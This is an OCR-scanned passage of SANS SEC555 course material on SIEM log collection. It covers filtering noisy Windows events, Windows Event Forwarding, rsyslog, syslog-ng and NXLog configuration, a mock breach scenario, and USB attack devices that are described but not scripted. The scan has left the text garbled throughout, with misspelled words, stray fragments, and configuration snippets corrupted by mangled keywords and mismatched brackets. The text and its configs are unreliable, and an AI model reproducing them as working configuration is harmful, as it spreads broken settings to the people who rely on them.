Another example is malware sandbox systems. These are used to launch executahles and monitor for bad
behavior intentionally. Yet this author has expericnced a 1ot of malicious malware that was not caught by the
sandhax but would be from basic Windows event monitoring.
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Desktop Logs vs. Server Logs

Fear of collecting desktop logs is due to costs

* If the cost of logs from a server is X, then the cost of 10,000
desktops must be X times 10,000

* Yet desktops log significantly less than servers
Desktops generate fewer logs and filtering can be specific

= Only specific events need to be collected T

* Key is to focus on tactical data only bhack di
Volume of logs can be kept extremely low your logs go?

TECSST | SEEM wieh Tactics! Anibtics

Desktop Logs vs. Server Lops

While partnering with one organization, this author almost got thrown out the door for recommending desktop
logging. The reason from the organization is they believed it was an ill-advised recommendation that should not
come from a subject matter expert, [n their heads, they assumed the cost of monitoring 2,000 servers was going
to increase by a factor of six 10 include monitoring 10,000 desktops. Yet, when this was finally voiced, it was
explained that monitoring 10,000 desktops would only increase hardware and software requirements by a small
fraction (approximately 5%).

Since desktops and laptops are usually initial entry points, it makes sense to, at 2 minimum., perform targeted
event collection. Workstations are perfect candidates for only collecting specific events of interest. This keeps
the volume of logs colleeted to a minimum vet provides actionable data,
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Collection Strategies: Servers Only

Log All: Input-driven Targeted: Output-driven
Overwhelming amount of logs Significantly fewer logs
e — (> 80% reduction)

2 .

% v IF__\)

| Servers . Servers
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Collection Strategies: Servers Only

This slide isa visual demonstration of the two main collection strategies in repard to Windows and Linuy logs.
This slide represents monitoring only servers, This author regularly sees organizations follow the left portion of
the slide, which is monitoring servers only but also collecting all Togs.

The left portion represents following an input-driven model. In this ease, orpanizations colleet lops from servers
and tend to collect and store everything. The right portion of this slide represents the output-driven model. In
this case, organizations only collect logs that are actionable or relevant. This typically results in an 80 1o 90
percent reduction in logs collected.
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Collection Strategies: All Endpoints

Log All: 90% desktop
Overwhelming amount of logs

Collection Strategies: All Endpoints

Targeted: 90% servers

Significantly fewer logs (> 80%

reduction) \

5

This slide 15 a visual demonstration of the twao main collection strategies in regard 1o Windows and Linux logs.
This slide represents monitoring both servers and deskiops.

When following the input-driven {collect everything) strategy, the inclusion of deskiop svstems is cost
prohibitive. In this case, approximatz(y 80-90 percent of logs are likely 1o come from deskiops. [n organizations
that historically only collect logs from servers, this could increase costs by almost [0 times.

On the other hand, following an output-driven {collect only specific events) strategy is likely only to have a
minimal impact when adding workstation logs, With this strategy, workstations will often consist of 5-10

percent of the total logs.
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Tactical vs. Total

+«— All-inclusive

Tactical

|

o ——
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Tactical vs. Total

Visually, it is easy to see the difference in inpul-driven (all-inclusive logging) vs, output-driven (tactical, or
selective, logging). This slide visunlly represents how much data would need processing and storage depending
on the model of collection, For example, if you were to collect logs from desktops and servers—but only those
lows that you knew were useful—they, collectively, will still be much smaller than collecting all logs from
servers only.
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Logging Level

Different systems can have different logging levels

* But should assets of different sensitivity have the same logs
collected? What about desktops vs. servers?

Decision primarily based on the organizational setup

» 100% tactical probably has the same logging level across
all systems

» Compliance or sensitivity may dictate varying log levels
It is acceptable to have a policy with multiple logging levels

| HEM wieh Tacteal Aimvos

Logging Levels

While it would simplify things if all assets had the same log collection strategy and policy, it is often not a "one
size fits all" decision. In fact, in most organizations, it would probably be a bad idea. This is because compliance
dictates retention periods and what must be logged, assets have varying levels of importance, and ar the end of
the day, we are dealing with time and money—hoth of which are in limited supply.

As a result, many organizations should consider adopting multiple levels of logging. For example, a default
policy may be that only tactical data that is known to be of value is collected from workstations. Then. servers
may have a default policy of collecting tactical data but also sending all other events that may or may not add
value. These could be sample default policies with other things such as system classifications or compliance
requirements overriding the default policies,

The log policies can then easily be applied to either a log aggrepator or the endpoint svstems.
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Hybrid Collection

There may be value in new or unknown logs
» No collection means no capability for future use
- Yet, collecting everything is not cost effective
Good approach is to collect everything and analyze

«» Frequently occurring events that do not add value should be
omitted

+ This should become an ongoing process
This methodology can also aid in lowering compliance costs

TECSSS | EIED skl Tornasi| Analpties a4

Hybrid Collection

Life is not black and white, and neither are logging strategies. This author prefers o follow a hybiid collection
method rather than a stratght input-driven or output-driven solution, This invelves collecting all logs but
regularly looking for the most frequent events that do not add value and eliminating them.

This technigue tkes roughly 15 to 30 minutes of one person’s time and should be performed on a regular basis
such as weekly or monthly. [f you are looking for a method to lower costs, this is it Using this technigue can
literally shrink the total number of logs by over 50%. Also, since the logs are initially in the system, the data can
be used to quantify the cost of keeping specific events. This means that if you have a log you think you may
need but are not sure vou really need it. the cost of keeping it can be quantified into a business decision.
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Compliance is a costly and confusing beast
Example: PCI DSS Requirement 10

« Log all "in scope" assets

* Must have 1-year retention
= 3 months of accessible logs

Above is straightforward, what must be logged is not

* "Track and monitor all access to network resources and
cardholder data" <- Does not mean log everything

SEC335 ESEM with Tarocal Armiytice

Compliance

Compliance is meant (o be treated as a business requirement. Yet it is not always understood. There are many
compliance frameworks that mandate logging, yet few are precise as to what must be logged. Typically, these
frameworks will define that logs must be retained and what the retention requirements are. This is where most
input-driven collection comes from.,

The spirit of compliance is to collect logs for auditing as well as detection, Compliance does not exist 1o make
lives miserable, However, the interpretation of many compliance frameworks has given compliance a bad name,
This does not mean that there are no compliance requirements that may be excessive. They do exist, but they are
not as common as people think,

An example of this is PCI DSS. It clearly defines log retention for in scope assets. To some extent, especially in
newer versions, it clearly defines things that need logging. However, there are still multiple areas of confusion
where it is unclear if something must be retained. If you find yourself in this position, do not fall into the "I must
collect and retain all logs" category, Instead, try discovering the most frequent events you feel are unnecessary,
then ask. For example, PCI DSS requires a QSA or an 1SA to sign off on your PCI compliance. If you provide
them a list of event logs you do not think are necessary and the reasons why, they most likely will agree with
you or at least approve most of the exceptions.
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Finding Noise

Regularly looking for noise T |
and eliminating it:

« Increases performance
* Increases analysis speed
* Decreases costs

« Is easy todo...

SECRAS [ HEM wet Tartics] Amalyies

Finding Noise

Regularly looking for logs that are neise and eliminating them is an casy, guick win. This simple process will
increase the performance of searches within the SIEM. After all, less data means lower hardware utilization.
This alone will improve an analyst's speed, but so will the fact that there are fewer logs to have to filter through.

Eliminating noise is something that should be done regardless of collection strategy. [1 is easy 1o do and can save
lots of money while providing many other benefits. This slide shows a simple griph based on Windows logs,
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Eliminating MNoise

Elimination of noisy events can be filtered in various ways
« At the log aggregation point
= Overhead exists at the central point
+ Easy to maintain and update
» At the endpoint
» Scales well by decentralizing filter overhead
* Requires strong asset management and change control
» At both the endpoints and log aggregators

Si‘t.‘ﬂl‘i SECEIS | BEEM weth Taoocl Anahtct

Eliminating Noise

The process of eliminating noisy events can be controlled at either the endpoints or at the log aggregation point.
Filtering at the log aggregation point tends to be the most common and recommended by vendors. However, it
often involves endpoints still sending noisy logs across the network—only to be dropped. This is inefficient.
Additionally, it may still count against software licensing, The clear advantage of filtering at the ngeregation
point is centralized management,

Filtering at the endpoints decentralizes the filtering process, so it tends to scale better. However, for this to work,
there must be a way to centrally control endpoints so that thev regularly get updated with any new filters, The
disadvantage is that organizations require strong centralized management to decentralize the process, The
advantage is less network bandwidth is consumed. and it can lower costs by reducing hardware requirements
and software licensing.

As previously stuted, vendors often state that filtering ot the endpoint is against best practice and can cause
performance problems on the endpoints. This may be true if performing complex regex operations o decide
what to drop; however, this often is not the case. This is especially not true on Windows. Again, the logs follow
an XML schema and are stored in channels, meaning the Event 1Ds and channels are easily referenced for
filtering. If you are encrypting logs, it is more likely the overhead of encrypting the logs is greater than the
overhead of filiering. This makes the assumption that the log agent you are using treats the log as XML or JSON
rather than syslog.
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Advanced Noise Filtering

Filtering does not need to be high-level

« Some events generate tons of traffic, but only a fraction of the
logs actually matter

Example: Collecting new service creation events

You probably only care about new or deny listed services
» Means that 99%+ of logs are likely not to matter

« Machine A installs Chrome... Google Update Service #1
Machine B installs Chrome... Google Update Service #2

HECCEAE | e agfely Frevenl Anaivilia

Advanced Noise Filtering

If an event is generating lots of noise, you typically have three options: Live with it, filler it owl completely, or
create a more complicated filter to eliminate the noise, For example, il you were collecting new service creation
events and only cared about never-seen-hefore services or deny list services, then you would need to create a
more complex filter. By default, collecting Windows event 1D 7045 (A service was installed in the system) will
be almost entirely services that do not match your use case. If Google Chrome is an authorized application, then
its corresponding Google Update Service likely is, too. Yet every machine that installs Chrome is going 1o log &
service creation event for the Google Update Service.

To address this issue, a log agent or a log ageregator can be configurad to collect event ID 7043 but drop the
event if it matches a list of authorized service names, Some STEMs automatically build and maintain this list on
vour behalf. For instance, if you are using the open-source Elasticsearch stack, you can utilize ElastAlert to
monitor for new service name values automatically and alert only on new services..
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SECS555 Workbook: Exercise 3.1: Windows Log Filtering -

Exercise 3.1: Windows Log Filtering

* Exercise 3.1 is in the digital wiki found in your student -
VM (recommended) )

* Alternatively, you may use your Workbook O
0
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Collecting Logs

Recommend using log agent over agentless
* Either built-in agent (event forwarding or syslog)

* Or third-party agent (commercial SIEM agent, NXLog,
Beats, etc.)

Things to consider:
* Filtering capabilities
 Functionality and flexibility
» Management overhead

SECILS | SIEMH i Tacucal dimbyvelis. o

Collecting Logs

Onee a collection strategy and the systems targeted for log collection have been decided, it is time to
actually implement collection. While agentless log collection is available, a log agent is recommended. This
holds true even if it is the buill-in Windows Event Forwarding agent (or whatever syslog agent Linux is using),
Let's be clear, these are log agents.

Some organizations state they do not support the installation of a log agent on systems. The truth is that
Windows and Linux both have log agents already on them. The only difference is, in Linux the syslog agent is
already installed and running but 1s not sending logs over the network, On Windows, the log agent is installed
but is not running. This is why if you follow the guide for setting up Windows Event Forwarding, the service
Windows Event Collector has to be turned on. That service is the log agent being referenced, Technically, if vou
enable this service, you are changing the functionality of the system as the native Windows agent functionality
i3 not enabled until this service is started.

To achieve the most flexibility and functionality, a third-party agent should be considered. If vou have a
commercial SIEM product, assess the PROs and CONs of the product’s native log agent. However, do not
blindly accept that it is the best agent for your organization, Compare it to a few alternatives, as it may save time
and money while providing more functionality and Mexibility.
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Windows Event Forwarding

To collect logs using Windows event forwarding is a two-
step process

» An event collector must be set up

* Then, either the collector must be configured to pull events or
endpoints must be configured to push events

GPO is used to tell endpoints what logs to push
* Configuration of event selection is similar for push/pull

The end destination is intended to be Windows, not SIEM

SECSSS | THEE with Tacticsl Aralpges 7

Windows Event Forwarding

The native Windows log agent is the Windows Event Collector service. Tt 15 used to set up Windows event
forwarding to a centralized system. The centralized collector system can be set up to either reach out and pull
logs or to listen and receive them. This built-in centralized log collection technigue is not as publicized as it
probably should be. It is free, assuming you have valid Windows licenses, and is easy to set up.

If you have no SIEM, this may be a good starting point. This could be set up in the span of a few hours and is
simple fo understand. Windows event forwarding does not support forwarding of ETL files.
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Event Subscriptions

Easy Method - GUI Custom Method - XML
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Event Subseriptinns

To set up which logs to push/pull, an event subscription must be created. When doing this, two options are
available: The GUI (shown in on the left) and custom XML (shown on the right). While the GUI is simple to
use, it is also basic in nature. To do more advanced things, such as tooking for login attempts from the local
machine Lo local maching, using a non-domain account requires the use of XML,

The sample XML, on the right, was excerpted from the NSA Sporring the Adversary with Windows Event Log
Monitaving (version 2). This 1s a greatarticle that shows exactly how to set up Windows Event Forwarding and
provides multiple event subscriptions, including the XML format if it 1s needed. Even if vou are not using
Windows Event Forwarding, it is a highly-recommended read for discovering techniques to catch bad guys
using nothing but Windows events. Please note the first link is digitally signed by the Departiment of Defense.
Unless you have added their certificate authority as a trusted authority the site will generate an untrusted site
security warning,

References:

https:/fapps.nsa. goviiaarchive/library/ia-guidance/security-
configuration/applications/assets/public/upload/Spotting-the- Adversary-with-Windows-Event-Log-
Monitoring.pdf

https:/fsec5535.com/ 103
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Blind Drop

Windows event forwarding cannot ship file logs
Only handles native Windows events

Business requirement may require no third-party agents
» Can be handled by using a blind file share

Requires a single file server to have a
third-party agent or PowerShell script

Share is created with write permissions only
« Log files are then saved to this share

e

SECSSS | SFEM wach Tl Ay I’ 1
Blind Drop )
The only type of log available on a Windows system is not always going to be a standard Windows event. O
Applications often log to text files. Also, some executables are used o run once a day and log to a file, 'S |

Collecting these is easiest when using a log agent,

However, if your organization absolutely refuses to deploy n third-party agent, then you can look at two LJ
possibilities. One is to stand up a server as an agentless collection server to reach out and grab these types of log )
files. The second method is to create a blind drop box.

This involves seting up a file server with a share that allows files to be uploaded but never viewed or modified. )
This is similar to a post office mailbox where letters go in but then cannot be accessed or modified. Once this is
in place, a log agent can be installed on the file server to look for and process new files constantly. Then,
endpoints can be set to either save these types of logs directly to the file server or to have a seript that regularly
copies existing logs into this location. An example of this would be running a scheduled task to run a program
like autorunsc.exe once a day and set the log location to the file server.
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Syslog Configuration

Built-in syslog agent varies
» Rsyslog and Syslog-NG are most robust and full-featured
» Common to systems built for functionality (like Ubuntu)
» Syslogd is also common and provides basic functionality

« Primarily used for systems built around security or designed to limit
service footprint (like CentOS, RHEL, or FreeBSD)

« Depending on business requirements, may need to switch to a third-
party agent or Rsyslog or Syslog-NG

SECHES | SIEM with Tactcl Mmiyecy

Svslog Configuration

Using built-in logging on Linux is most likely to be from either Rsyslog. Syslog-NG. or Syslogd. Many newer
opersling systems ulilize Ravslog such as ContOS 7, Red Har Enterprise Linux 7, Kali, and Ubuntu 22.04 1.TS.

Occasionally, some systemns will use syslogd. 'This is mere commaon for systems that focus on strict security or
smaller service footprints.
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Example Configurations

Rsyslog Configuration

# fetc/rsyslog.d/49-logstash.conf
:msg, contains, "ignore string™ ~
* ® action(

type="omfwd"

Target="l1logstash”

Port="1514"

Protocol="tcp"

)

Example Configurations

Syslog-NG Configuration

#/ete/eyslog-ng/syslog-ng.conf
source &_src |
systam();
internal();
b
filter ¥ _custom {
not match(“ignore string" wvalus(MESSAGE));
b
destination d_logstash {
tcp{ " logstash™ port{1514));
b
log {
source(s_sre);
filter(f_custom);
destination{d logstash);

b

SECREN| 5|6 sark Tartic| Ansilice

Both configuration files in this slide are examples of forwarding all logs o a server called Logstash over TCP.
Each also includes an example of basic filtering options and are set to ignore logs with the message containing
"ignore string." While similar in functionality, the syntax is completely different. Syslog-NG is lengthier bul

much easier to read and write.

In the event you are using older Linuw/Unix systems, likely the only option available is to forward logs aver
standard UDP, In this case, the syntax may be as simple as below:

(@llogstash

This is a simple example of forwarding all logs to the server logstash,
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NXLog Revisited

NXLog works for both Windows and Linux
+ Configuration format is consistent between platforms
« Filtering capabilities are advanced
+ Contains lots of functionality and commercial support
Used as the example due to consistency across platforms
» Recommend evaluating it as well as other agents

« Used for demonstration, as free agent tends to
meet most organization s requirements @Iﬂg.cu

SECESS | M with Tobdenf Ayt o

NXLog Revisited

NXLog is being used 1o provide an example ol a third-party agent. It is easy to understand as the configuration
files for both Windows and Linux follow the same syntax. Also, it has udvanced functionality and features and
is open-source. This makes it o great candidate for learming and testing. Should you decide to implement it in
production, krow that yvou can purchase support,

Neither SANS nor the author of this course benefit in any way from any inleractions you may have with
NXLog. The author of this course likes the product and recommends it only ifyvou determine it is a fit for vour
emvironment. Since the product is free and meets most organization's business requirements, It is suitable for
evaluation and can provide value-add if it benefits students.
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Windows Configuration

«Input in_windows>
Module im_msvistalog
Exec if $EventID == 5156 droo();
Exec to_json();

</Inputs

<Output out_windows>
Module om_tcp
Host logstash
Port 6@52

< /0utputy

<Route windows>
Path in_windows => out_windows
< /Routes

NXLog Configuration

MNXLog Configuration

Configuration Breakdown

Input specifies what logs to pick up
« Allows filtering and augmentation

» Can convert logs into new formats
such as JSON, XML, or syslog

Output specifies where to send logs
* Defines port and protocol

* Can specify TLS encryption
Route maps inputs to outputs

« Multiple inputs/outputs allowed

SECES5 | SIEM with Ticoml Aalvhcs
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The NXLog configuration follows the same format for all operating systems. [t is primarily composed of three
sections: Input, output, and route, The input section defines what logs to monitor for collection. It is also where
filtering or log augmentation are performed. Output is used to set where logs should go and which protocol, such
as UDP or TCP, is used. It is also where eneryption is set if' it is used. Then, the route is used to map inputs o
outputs. It is possible to have multiple inputs mapped to an output. It is also possible to have one or more inputs
mapped to multiple outputs. This can be used to send the same logs to multiple locations.

Another common use outside of input, outpul. and route is processor. This is a section that has a Tew special use
cases such as follows:

* Create memory or disk buffer: Acts as local buffer for logs when log aggregator is down or unreachable,

* Schedule log transmit times: Allows logs only to be sent during cenain times of the day, such as off-hours
(usually combined with buffer),

= Remove duplicate logs: Watches for repetitive messages and removes duplicates. As a result, only one log
is accepted.

Finally, NXLog also has what it calls Extension modules. These are modules used to convert between formats. For
example, the extension module JSON {(xm_json) can convert native Windows logs into JSON, While not displayed
in the slide above, this configuration file would also need this above the <input> section in order to work.
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<Extension json=
Module XM json

<=/Extension=

Without it, the Exee to_json{}; in the input would not run. Adding the extension module allows the finction to
be called later in the configuration.
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NXLog AutoConfig

Created by Justin Henderson to overcome log agent
deficiencies and as a functional proof of concept

» htips://github.com/SMAPPER/NXLog-AutoConfig
Checks systems each day looking for components (IIS, etc.)

» If found, automatically configures for consistency
* Or initial configuration...
» Then, sets up an agent to start shipping logs
Largest deployment maintained > 12 K systems

SECS5S | SIEM wetk Tactral Aralvis

MNXLog AuteConfig

Managing endpaoints is difficull. Put plainly, there are a lot of them. Combine that with the fact that they are in
different power states (on, off, standby), it is rare that every asset is configured identically. Not to mention that
not all endpoints are created equal. Some have extra services you want to log like DNS, 118, or SQL. Depending
on the log collection method of use and vour budget, vou may be fortunate enough to purchase something that
has built-in management. However, if that is not the case, do not give up. This may be something that a little bit
of seripting can solve,

To solve this problem. the course author has developed a functional proot of concept that is running in a few
production environments. 11 is called NXLog-AutoConfig and is a PowerShell framework for automatically
managing MXLog log agents. It 5its on a web server that maintains all configuration settings and allows
centralized control. Then, each system is set to run a PowerShell script onee (or more) a day, causing it to check
in with the central server and update {tself as needed.

This framework solves two key issues:

1. Centrally maintaining lots and lots of endpoints: Should you wish to filter out 2 new event 113, you
simply add it to the Windows moduole on the web sérver; and the next time assets run their scheduled
task, they will be updated to filter it out.

2.  Logging of new components: What happens if & year-old server gets a new service such as 115
installed on it, but nobody submits a change request to collect logs from it7 Most logging systems
require manual reconfiguration to collect additional logs. The NXLog-AutoConfig is designed to have
modules such as [1S.ps]. When an asset runs its nightly scheduled task to check in, it will also run any
applicable modules.
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For example, a server will run the 115.ps| module, which checks to see if 115 15 installed. 11 it is, then the
log configuration will be updated to collect 115 Togs antomatically, This makes logging dynamic across the
environment,

This kind of framework could easily be designed 1o work with almost any log agent. As Jong as there isa
configuration file, registry entries, or some way of updating the conflguration, it will work.
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Remote Location: Log Agents

Remote Site Central Location

,.E ! E Storage
elasticsaarch

SEC555 | RHEM with Ticeh=s) Atulvbes

Remote Location: Log Agents

This slide demonstrates a traditional setup for log collection using log agents. In this diagram, agents on the
Windows or Linux desktops and single server forward logs across a VPN 1o a log aggregator. In this slide, the
remote switch and remote firewall would most likely send lops to the log agoregator over syslog UUDP port 514,
This is because not all devices will support log agents.

This is a traditional setup and is simplistic in nature, Simply make sure the firewalls allow traffic from the
remote site over to the log agoregator, and things should work. The main downside to this layout is that the
switch and frewall use standard syslog over UDP. In the event the internet or VPN tunnel poes down, logs from
the switch and firewall will be lost. Occasionally, central management software for firewalls and switches
includes a special non-syslog method for collecting logs, but unless that is the case, logs can be lost.

The advantage is it is easy to maintain. Simply deploy agents to Windows and Linux systems and configure
syslog devices to forward logs. In this design, all logs point to the same log aggregator. While this slide shows
Logstash and Elasticsearch on the right, the architecture is the same for other SIEM products.
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Remote Location: Agentless

Remote Site Central Location

- Storage

glastirsearch

File
VPN Tunnel

Authenticated pull of logs

SEiCE55 | SIEM with Tenuml Seadyticn 11

Remote Location: Agentless

An apentless architecture is similar in design with the exception being that most logs are pulled instead of
pushed. In this disgram, g server at the central location is authenticating against the Windows/Linux
workstations and server at the remote location and retrieving logs. The switch and the remote site firewall would
still use syslog. A central file server is also listed with NXLog to monitor for log filés being saved lo & blind
drop box, This is beceuse agentless servers wend not o scale well iF monitoring log files across thousands of
syslems ar more,

While still a simple architecture, things are shightly more complicated. In this layout, syslog will need to be
allowed from the remoie site through both firewalls to the log aggregator. Also, the server for agentless
collection will need firewall rules allowing access to the Windows/Linux workstations and server. Most likely,
Windows file-sharing ports and S5H will need to be allowed for this to work, On top of this, the endpoint
systems will need to allow the connections through whalever host-based firewall they are using, Finally, a valid
user account with proper permissions to logs will need 1o be used.

In this architecture, syslog systems can lose logs during internet or VPN outages. However, this s still a fairly
simple design and works well,
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Remote Location: Advanced

Remote Site Central Location

_—
E» Storage
-

slasticsearcn
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Remote Location: Advanced

This slide demonstrates a more advanced deployment for log collection. In this case, the remote location is using
log agents to forward logs. One system at the remaote location is running NXLog, and all the local assets are
sending logs to it. This includes the remote switch and remote firewall. It then lakes these messapes and sends
them on to the log aggregator. Because of this, if the internet or VPN goes down, NXLog will buffer logs until
they are back online. In this case, even the syslog messages will not be lost.

This architecture also has a few added benefits. For one thing, it lowers the amount of network connections the

log aggregator has to handle, increasing overall performance. Alsa, it easily allows for per location filtering and
augmentation. Then, since all the logs are from NXLog encryption, compression, etc. can be applied to all logs

from NXLog onward.

Note that this layout also works for Windows systems using Windows Event Forwarding. NXLog Enterprise can
also act as & Windows Event Collector. When in this mode. it can be confipurad to accept messages forwarded
from systems. It does not support pulling logs as an Event Collector but can be configured to do so aver WMI
(not recommended). The best part about NXLog as an event collector is that it still supports HTTPS and
Kerberos authentication. The downside is the same XML used to create an event log subseription must be used
to tell endpoints what to send over. Once the logs are collected, NXLog can process them Iike normal,

B8 £ 2022 SANS Institute




Collection Review

Logs from both workstations and servers are important

+ Do not force yourself into a single strategy for logging

« Ttis not difficult to support multiple levels of logging

+ This saves time and money
» Where possible, filter noise (regardless of collection strategy)
 Consider using a log agent for collection

SECS5S | S8 with Tacsam) Adaiidcs . e

Collection Review

In review, it is important that log collection on endpoints is planned out. This mvolves deciding which systems
logs are collected from, what logs each will send over, and if an agent is being used, which one to use, Taking
the time to think through each of these poinis pays out in the end. As Abraham Lincoln sated, "Give me siy
hours to chop down a tree, and | will spend the first four sharpening the axe.”
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Course Roadmap

+ Section 1: SIEM Architecture

+ Section 2: Service Profiling with SIEM
« Section 3: Advanced Endpoint

Analytics

« Section 4: Baselining and User Behavior

Monitoring

» Section 5: Tactical SIEM Detection and

Post-Mortem Analysis

+ Section 6: Capstone: Design, Detect,

Defend
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Tactical SIEM

A tactical SIEM is one that is designed to win —-..J::J.'.:‘.';'L‘J’..’."

» To win the war is paramount e
s tTr—

» To win each battle is a goal
* Design needs to include battle tactics

"... if adversaries gain unauthorized access to
an organization’s computers, but can’t get the data they
need before defenders remove them, then what did they
really achieve?"

SRCRES | HEM with Tacoml Anabics . ¥

Tactical SIEM

SEC355 is focused on being tactical, To be watical, one must understand what tactical really means. 11 the end
goal is never to be compromised or never to fail, then the goal is not to be tactical. In fact, the goal is Mlawed and
impaossible. If the goal 15 o understand vourself, your enemy, and position yourself to come out on top, then that
goal 15 tactical,

Cocasionally, systems will be compromused. Yet, an adversary's primary objective is not to compromise o single
box or network. It is to do something starting from the compromised system. That something, be it data theft.
data destruction, or whatever, typically takes a decent amount of time to complete. Therefore, a tactical SIEM i3
one that places multiple tripwires, or detection events, in hopes of finding the adversary and kicking them out of
the environment.

This concept is not new, Richard Bejtlich first published The Tao of Nenwork Secyrity Monitoring' in 2004, and
then The Pracrice of Neework Security Moniroring™ in 2013, Both ol these books should be a mandatory read.
While the books are old, the content and concepls most certainly are nol,

[1] https:/fwww amazon.com’ Tao-Network-Security-Monitoring-Intrusion/dp/032 1246772,
https:/fsee555.com/ba

[2] https:www.amizon.com/Prictice-Network-Security-Monitoring-Understanding/dp/ 1 5932750949,
hitps://secS35.com/qh
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Events of Interest

Detection capabilities typically thought of in conjunction
with security tools

* But common Windows logs can be used tactically
Key is to identify events of interest

* This module provides some simple events to monitor

 This module provides why events are important

« Scenario is given to show real life application

TECESE | TIEM wich Toctisal Anaiynice

Events of Interest

Security professionals often think of detection as being synonymous with security tools. Yet one of the best tools
for detection is utilizing the underlying operating system. Regardless of Linux vs. Mac vs. Windows, operating
systems generate detailed logs aboutl everyday events,

This module is designed to provide & mock, real-world scenario mapped to simple detects that utilize built-in
Windows logs. It is not meant to be a prescriptive list of events, although it would likely be & good idea to try to
monitor all the events lisied. Instead, it is intended to stimulate thinking about how powerful detection can be
with "what you have." Regardless of what products are deployed, Windows can play a large part in helping to
detect malicious behaviors,
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Lab Me, Inc.: Compromise

Back in 2013, Lab Me, Inc. suffered a major breach
» The contact information of 50K+ patients was stolen
» Healthcare information of 6K+ patients was stolen
Millions in damages occurred as a result
« Jumpstarted the Lab Me, Inc. security program
* Provided budget for antivirus, next-gen firewalls, ete.

Attack was targeted, and there is a concern of a repeat

SECSSSE | MIEM with Tacrieal Mnklysses

Lah Me, Ine.: Compromise

To help facilitate the learning process, a mock seenario using Lab Me, Inc. will be utilized to cover Windows
events of interest. As the slide details, the incident took place back in 2013 and resulted in a large amount in
damages. This scenario is based on the author's real-world experience with organizations getting compromised.
S0, while Lab Me, Inc. is a fictitious organization, the series of events are true to real life,

It is fairly common, after a data breach, for organizations to increase the budget for security. This often
Jumpstarts implementations of long overdue technologies such as antivirus, firewalls, application control, ete. In
the mock organization, Lab Me; Inc., this is exgetly what happened.

For extra clarification, the cost of the breach, in this case, would almost entirely be from the 6,000+ patient
healthcare records being stolen rather than the 50,000+ contacts. According 1o the Pomemon 2016 Cost of a Data
Breach Study; United States, "the average breach cost per healtheare record is $402 per record.” This puts the
breach cost of 6,000 records at around 52.4 million. In the author’s experience with working with various
healthcare organizations. this amount ean be much higher.

Reference:
httpsz/isecurityintelligence.com201 f=cost-data-breach-study/, https://see555.com/Ge
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Lab Me, Inc. Breach: The Facts )

Report from third-party forensics report states: =
* The initial compromise came from a USB device | "
« Persistence was established to maintain a foothold
» Credential theft and reuse was performed repetitively =
» New account was created and added to Domain Admins )
» Contact and patient data was stolen

) -

» Logs were cleared to hide tracks 4

Windows events could have caught this behavior M)

-

SEL3S5 § SLEM wirh Thetical Amalvics  »e '.: ]

O

Lab Me, Inc. Breéach: The Facts L)

After finding they were compromised, Lab Me, Inc. contracied a forensics team 1o comé in and find out what O

happened. Fortunately for Lab Me, Tnc., the forensics team was composed of instructors from the SANS DFIR O)
team, and they were able 10 find out exactly what happened. The report was elaborate, and an executive briefing

of what happened is given in the slide. LJ

)

)

_—
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Linux logs are not as verbose as Windows
* They lack unique IDs and structure varies
Everything in Linux is a file (means easy to extend
capabilities)
* Built-in commands can be consumed to enhance visibility
» Third-party tools augment native logging
« Plus, native logging is still decent
Combination of techniques can be used to identify attacks

HEC555 | 515 with Tictics Amalyc

Linux vs, Windows

While Windows logs are immediately useful for identifying attempted and successful attacks. adequately
monitoring Linux sysiems takes a bit more effort.

Linux events can provide insight into certain activities such as logins and new user creation, However, when it
comes to tracking an attacker from reconnaissance through exploitation and privilege escalation, it is also useful
to rely on Linux command output to deteet attacks. Additionally, third-party tols can provide even greater
visibility into potential attacks on a system,

Leveraping a combination of these techniques can provide excellent visibility into a Linux system. The next few
slides will discuss how to leversge each technique to maximize detection capabilities using the Lab Me, Inc,
breach as an example.
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External Media

NIST Special Publication 800-171 Rev 2:
* Restrict or prohibit the use of flash drives or external hard disk drives.

+ Prohibit access to certain external ports, or disabling or removing the
ability to insert, read, or write to such devices..

Unauthorized devices can be extremely dangerous
* Rubber ducky attacks (keyboard emulation)
» USB NIC man-in-the-middle (credential theft + more)
» Data copied to portable media

Level of monitoring depends on the authorized use

SEL553 | B2EM with Tagmond Angfcs

External Media

External devices being plugged into a computer can be just plain horrific. Take the rubber ducky: When
plugged in, it acts-as a keyboard and can avtomatically launch PowerShell, minimize so the user cannot see it,
and phone home t an attacker. Or how about a LAN turtle by Hak57 This device, when plugged in, can be
configured to create a virtoal USB NIC that then man-in-the-middles traffic and steals credentials... even from
1 locked-screen computer. In their simplest form, USB devices can be used to copy data out of the environment
manually.

Also, note that external devices can mean non-USB type devices, such as Secure Digital (SD) cards or, in some
cases, even new hardware being inserted inside a machine.

The technigue of stealing credentials using a man-in-the-middle attack with a USB deviee was discovered and
publicized by Rob Fuller {{@mubix). Rob regularly comes up with cool techniques, and he is a great resource to
follow.

References:

htips:/fwww cisecunty.org/resources/To=controls, hips:/secs55.com/6d
hitps://shop bak3 org/products/lan-turtle, hitps://sec335.com/6e
https://room362.com/post 201 6/snagging-creds-from-locked-machines, hitps://sec555. com/6(
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USB Plug Attacks (1)

Low-cost purpose-built devices used by
Pen testers with the following capabilities:

* Password cracking * Attack automation
* Man in the Middle Attacks * Remote access

* Data exfiltration * Payload delivery

* Scripting * And many more....

* Backdoor delivery

* Local and Network
Reconnaissance

SECSFS [ SIEM with Tacreil Aialvtics- W1

USB Plug Attacks (1)

Hot plug attack devices are built to deliver an array of custom seripts o attack devices within the vietim's
network whether physically instalied via USB port or connected inline within an Ethernet network connection
for tapping and remote network monitoring
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USB Plug Attacks (2)

Examples of cheap and readily available Hot Plug attack

devices from Haks

OmG Plug Rubber Ducky

Bash Bunny

Lan Tuartle

SRCESS | SEEM wurh Tirtws| Anulhrice

USB Plug Attacks (2)

The examples above are some of the hardware Hot Plug style attack devices available on the apen market,
These devices can be programmed to phone home using a reverse shell or to HakS public Cloud C2 environment
where the operator can control and manage the implant remotely.

There have also been articles written on how to better hide yvour tracks and avoid farensic detection as noted
below in the references. One could argue that knowing how the adversary it using these types of attacks and
processes being used to mitigate detection would be a good place to start when building detections to use within
the SOC and logs that are sent to the STEM for correlation with other events of interest,

Devices like these can be great training aides when used to educate the defenders and IR teams within the SOC.

Hak5 also has some great videos and blogposts where they describe the usage of these tools along with many,
many more,

References:

https://shop.hak5.org/, http:/sec555.com/1 09

hitps://s3. wp.wsiedw/uploads/sites/2776/2022/05/Moah Black Poster.pdf
hitps://www sciencedirect.com/science/article/pii/S 2666281 721 000986
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USE Insertion Events

New USB insertion creates events in the System log

« Nothing on removal or subsequent plugins

«  Works for multiple device types (NIC, storage, etc.)
